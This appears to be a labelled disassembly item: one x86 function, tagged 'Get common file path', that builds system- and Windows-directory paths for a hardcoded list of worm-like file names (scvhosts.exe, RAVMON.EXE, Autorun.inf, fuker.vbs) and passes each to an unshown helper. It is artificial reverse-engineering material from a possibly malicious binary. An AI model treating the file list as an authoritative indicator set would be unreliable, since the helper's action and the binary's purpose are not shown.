Function at 0x404930
Capabilities:
Get common file path

Disassembly:
mov eax, 0x28dc
call fcn.0040a6d0
mov eax, dword [str.killVBS.vbs]
mov ecx, dword [0x415430]
mov edx, dword [0x415434]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x1100], eax
mov dword [esp + 0x1104], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x110c]
mov dword [esp + 0x1108], edx
mov dx, word [0x4151cc]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4151c8]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.temp1.exe]
mov dword [esp + 0x1203], ecx
mov dword [esp + 0x11ff], eax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1209]
mov word [esp + 0x1207], dx
mov dx, word [0x4151c0]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4151bc]
stosb byte es:[edi], al
mov eax, dword [str.temp2.exe]
mov dword [esp + 0x1302], ecx
mov dword [esp + 0x12fe], eax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1308]
mov word [esp + 0x1306], dx
mov dx, word [0x415428]
rep stosd dword es:[edi], eax
mov ecx, dword [0x415424]
stosb byte es:[edi], al
mov eax, dword [str.SocksA.exe]
mov dword [esp + 0x1401], ecx
mov dword [esp + 0x13fd], eax
mov al, byte [0x41542a]
mov byte [esp + 0x1407], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1408]
mov word [esp + 0x1405], dx
mov edx, dword [0x415418]
rep stosd dword es:[edi], eax
mov ecx, dword [str.algsrv.exe]
mov ax, word [0x41541c]
mov dword [esp + 0x14fc], ecx
mov cl, byte [0x41541e]
mov word [esp + 0x1504], ax
mov byte [esp + 0x1506], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1507]
mov dword [esp + 0x1500], edx
mov edx, dword [str.FileKan.exe]
rep stosd dword es:[edi], eax
mov eax, dword [0x41540c]
mov ecx, dword [0x415410]
mov dword [esp + 0x15ff], eax
mov dword [esp + 0x1603], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1607]
mov dword [esp + 0x15fb], edx
rep stosd dword es:[edi], eax
mov edx, dword [str.algsrvs.exe]
mov ecx, dword [0x415404]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x415400]
mov dword [esp + 0x16fa], edx
mov dword [esp + 0x16fe], eax
mov dword [esp + 0x1702], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1706]
rep stosd dword es:[edi], eax
mov edx, dword [str.algssl.exe]
mov cx, word [0x4153f8]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x4153f4]
mov dword [esp + 0x17f9], edx
mov dl, byte [0x4153fa]
mov dword [esp + 0x17fd], eax
mov word [esp + 0x1801], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1804]
mov byte [esp + 0x1803], dl
mov edx, dword [0x4153ec]
rep stosd dword es:[edi], eax
mov eax, dword [str.msfir80.exe]
mov ecx, dword [0x4153e8]
mov dword [esp + 0x18f8], eax
mov dword [esp + 0x18fc], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1904]
mov dword [esp + 0x1900], edx
rep stosd dword es:[edi], eax
mov ecx, dword [0x4153dc]
mov edx, dword [0x4153e0]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.msime80.exe]
mov dword [esp + 0x19fb], ecx
mov dword [esp + 0x19f7], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1a03]
mov dword [esp + 0x19ff], edx
mov edx, dword [0x4153d4]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4153d0]
mov esi, dword [0x4153c0]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.msnmsgr.exe]
mov dword [esp + 0x1afa], ecx
mov dword [esp + 0x1af6], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1b02]
mov dword [esp + 0x1afe], edx
mov dx, word [0x415190]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x41518c]
mov ebp, dword [0x4153c4]
stosb byte es:[edi], al
mov eax, dword [str.system.exe]
mov bl, byte [0x4153c8]
mov dword [esp + 0x1bf5], eax
mov al, byte [0x415192]
mov dword [esp + 0x1bf9], ecx
mov byte [esp + 0x1bff], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1c00]
mov word [esp + 0x1bfd], dx
mov edx, dword [str.scvhosts.exe]
rep stosd dword es:[edi], eax
mov ecx, 0x3c
lea edi, [esp + 0x1d01]
mov dword [esp + 0x1cf4], edx
mov dword [esp + 0x1cf8], esi
mov dword [esp + 0x1cfc], ebp
mov byte [esp + 0x1d00], bl
rep stosd dword es:[edi], eax
mov ecx, dword [str.scvvhosts.exe]
stosw word es:[edi], ax
mov dword [esp + 0x1df3], ecx
mov eax, dword [0x4153b0]
mov ecx, dword [0x4153b4]
mov dword [esp + 0x1df7], eax
mov ax, word [0x4153b8]
mov dword [esp + 0x1dfb], ecx
mov word [esp + 0x1dff], ax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1e01]
rep stosd dword es:[edi], eax
mov ecx, dword [str.SCVHSOT.exe]
stosb byte es:[edi], al
mov eax, dword [0x4153a4]
mov dword [esp + 0x1ef2], ecx
mov ecx, dword [0x4153a8]
mov dword [esp + 0x1ef6], eax
mov dword [esp + 0x1efa], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1efe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x415394]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.SCVVHSOT.exe]
mov dword [esp + 0x1ff5], ecx
mov cl, byte [0x41539c]
mov dword [esp + 0x1ff1], eax
mov eax, dword [0x415398]
mov byte [esp + 0x1ffd], cl
mov dword [esp + 0x1ff9], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1ffe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x415388]
stosw word es:[edi], ax
mov eax, dword [str.SCVHOST.exe]
mov dword [esp + 0x20f4], ecx
mov dword [esp + 0x20f0], eax
mov eax, dword [0x41538c]
mov dword [esp + 0x20f8], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20fc]
rep stosd dword es:[edi], eax
mov ecx, dword [str.SCVVHOST.exe]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x415378]
mov dword [esp + 0x21ef], ecx
mov ecx, dword [0x41537c]
mov dword [esp + 0x21f3], eax
mov al, byte [0x415380]
mov dword [esp + 0x21f7], ecx
mov byte [esp + 0x21fb], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x21fc]
rep stosd dword es:[edi], eax
mov ecx, dword [str.bad1.exe]
stosw word es:[edi], ax
mov eax, dword [0x41536c]
mov dword [esp + 0x22ee], ecx
mov cl, byte [0x415370]
mov dword [esp + 0x22f2], eax
mov byte [esp + 0x22f6], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x22f7]
rep stosd dword es:[edi], eax
mov ecx, dword [0x415360]
stosw word es:[edi], ax
mov eax, dword [str.bad2.exe]
mov dword [esp + 0x23f1], ecx
mov dword [esp + 0x23ed], eax
mov al, byte [0x415364]
mov byte [esp + 0x23f5], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x23f6]
rep stosd dword es:[edi], eax
mov ecx, dword [str.bad3.exe]
stosw word es:[edi], ax
mov eax, dword [0x415354]
mov dword [esp + 0x24ec], ecx
mov cl, byte [0x415358]
mov dword [esp + 0x24f0], eax
mov byte [esp + 0x24f4], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x24f5]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4151e8]
stosw word es:[edi], ax
mov eax, dword [str.msmsgs.exe]
mov dword [esp + 0x25ef], ecx
mov cl, byte [0x4151ee]
mov dword [esp + 0x25eb], eax
mov ax, word [0x4151ec]
mov byte [esp + 0x25f5], cl
mov word [esp + 0x25f3], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x25f6]
rep stosd dword es:[edi], eax
mov eax, dword [str.RUNDLL64.dll.vbs]
mov ecx, dword [0x415340]
mov dword [esp + 0x110], eax
mov eax, dword [0x415344]
mov dword [esp + 0x114], ecx
mov ecx, dword [0x415348]
mov dword [esp + 0x118], eax
mov al, byte [0x41534c]
mov dword [esp + 0x11c], ecx
mov byte [esp + 0x120], al
mov ecx, 0x3b
xor eax, eax
lea edi, [esp + 0x121]
rep stosd dword es:[edi], eax
mov ecx, dword [str.RAVMON.EXE]
stosw word es:[edi], ax
mov eax, dword [0x415334]
mov dword [esp + 0x20f], ecx
mov cx, word [0x415338]
mov dword [esp + 0x213], eax
mov al, byte [0x41533a]
mov word [esp + 0x217], cx
mov byte [esp + 0x219], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x21a]
rep stosd dword es:[edi], eax
mov ecx, dword [str.xcopy.exe]
mov eax, dword [0x415328]
mov dword [esp + 0x30e], ecx
mov cx, word [0x41532c]
mov dword [esp + 0x312], eax
mov word [esp + 0x316], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x318]
rep stosd dword es:[edi], eax
mov ecx, dword [0x41531c]
stosb byte es:[edi], al
mov eax, dword [str.Svchost.exe]
mov dword [esp + 0x411], ecx
mov dword [esp + 0x40d], eax
mov eax, dword [0x415320]
mov dword [esp + 0x415], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x419]
rep stosd dword es:[edi], eax
mov ecx, dword [str.Autorun.inf]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x415310]
mov dword [esp + 0x50c], ecx
mov ecx, dword [0x415314]
mov dword [esp + 0x510], eax
mov dword [esp + 0x514], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x518]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x415304]
stosb byte es:[edi], al
mov eax, dword [str.BACKINF.TAB]
mov dword [esp + 0x60f], ecx
mov dword [esp + 0x60b], eax
mov eax, dword [0x415308]
mov dword [esp + 0x613], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x617]
rep stosd dword es:[edi], eax
mov ecx, dword [str.session.exe]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x4152f8]
mov dword [esp + 0x70a], ecx
mov ecx, dword [0x4152fc]
mov dword [esp + 0x70e], eax
mov dword [esp + 0x712], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x716]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x4152e8]
stosb byte es:[edi], al
mov eax, dword [str.ufdata2000.log]
mov dword [esp + 0x80d], ecx
mov cx, word [0x4152f0]
mov dword [esp + 0x809], eax
mov eax, dword [0x4152ec]
mov word [esp + 0x815], cx
mov dword [esp + 0x811], eax
mov al, byte [0x4152f2]
mov byte [esp + 0x817], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x818]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fuker.vbs]
mov eax, dword [0x4152dc]
mov dword [esp + 0x908], ecx
mov ecx, dword [0x4152e0]
mov dword [esp + 0x90c], eax
mov dword [esp + 0x910], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x914]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x4152d0]
stosb byte es:[edi], al
mov eax, dword [str.msdos.pif]
mov dword [esp + 0xa0b], ecx
mov dword [esp + 0xa07], eax
mov ax, word [0x4152d4]
mov word [esp + 0xa0f], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0xa11]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xb13]
mov dword [esp + 0xb06], edx
mov edx, dword [0x4153b0]
mov dword [esp + 0xb0a], esi
mov dword [esp + 0xb0e], ebp
mov byte [esp + 0xb12], bl
rep stosd dword es:[edi], eax
mov ecx, dword [str.scvvhosts.exe]
stosw word es:[edi], ax
mov eax, dword [0x4153b4]
mov dword [esp + 0xc05], ecx
mov dword [esp + 0xc09], edx
mov cx, word [0x4153b8]
mov dword [esp + 0xc0d], eax
mov word [esp + 0xc11], cx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xc13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4153a8]
mov edx, dword [str.SCVHSOT.exe]
stosb byte es:[edi], al
mov eax, dword [0x4153a4]
mov dword [esp + 0xd0c], ecx
mov dword [esp + 0xd08], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xd10]
mov dword [esp + 0xd04], edx
mov edx, dword [str.SCVVHSOT.exe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x415398]
push 0xff
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x415394]
mov dword [esp + 0xe07], edx
mov dl, byte [0x41539c]
mov dword [esp + 0xe0b], eax
mov dword [esp + 0xe0f], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xe14]
mov byte [esp + 0xe13], dl
mov edx, dword [0x41538c]
rep stosd dword es:[edi], eax
mov ecx, dword [0x415388]
stosw word es:[edi], ax
mov eax, dword [str.SCVHOST.exe]
mov dword [esp + 0xf0a], ecx
mov dword [esp + 0xf06], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xf12]
mov dword [esp + 0xf0e], edx
mov edx, dword [0x41537c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x415378]
stosb byte es:[edi], al
mov eax, dword [str.SCVVHOST.exe]
mov dword [esp + 0x1009], ecx
mov dword [esp + 0x1005], eax
mov al, byte [0x415380]
mov byte [esp + 0x1011], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1012]
mov dword [esp + 0x100d], edx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x27f0]
push ecx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x26ec]
push 0xff
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ebx, [esp + 0x1100]
mov ebp, 0x16
mov edi, 0x418f7c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x27f0]
push ecx
push 0x4152c4
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x20]
push 1
push eax
push 0
call fcn.004021d0
add esp, 0x1c
add ebx, 0xff
dec ebp
jne 0x402e76
lea ebx, [esp + 0x110]
mov ebp, 0x10
mov edi, 0x418f7c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x26f0]
push ecx
push 0x4152c4
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x20]
push 1
push eax
push 0
call fcn.004021d0
add esp, 0x1c
add ebx, 0xff
dec ebp
jne 0x402edb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28dc
ret
mov dword [0x41adc4], 1
call fcn.00401c80
call fcn.00401f60
mov eax, dword [esp + 4]
push eax
push 0x41ad40
call fcn.00403b30
add esp, 8
jmp 0x402510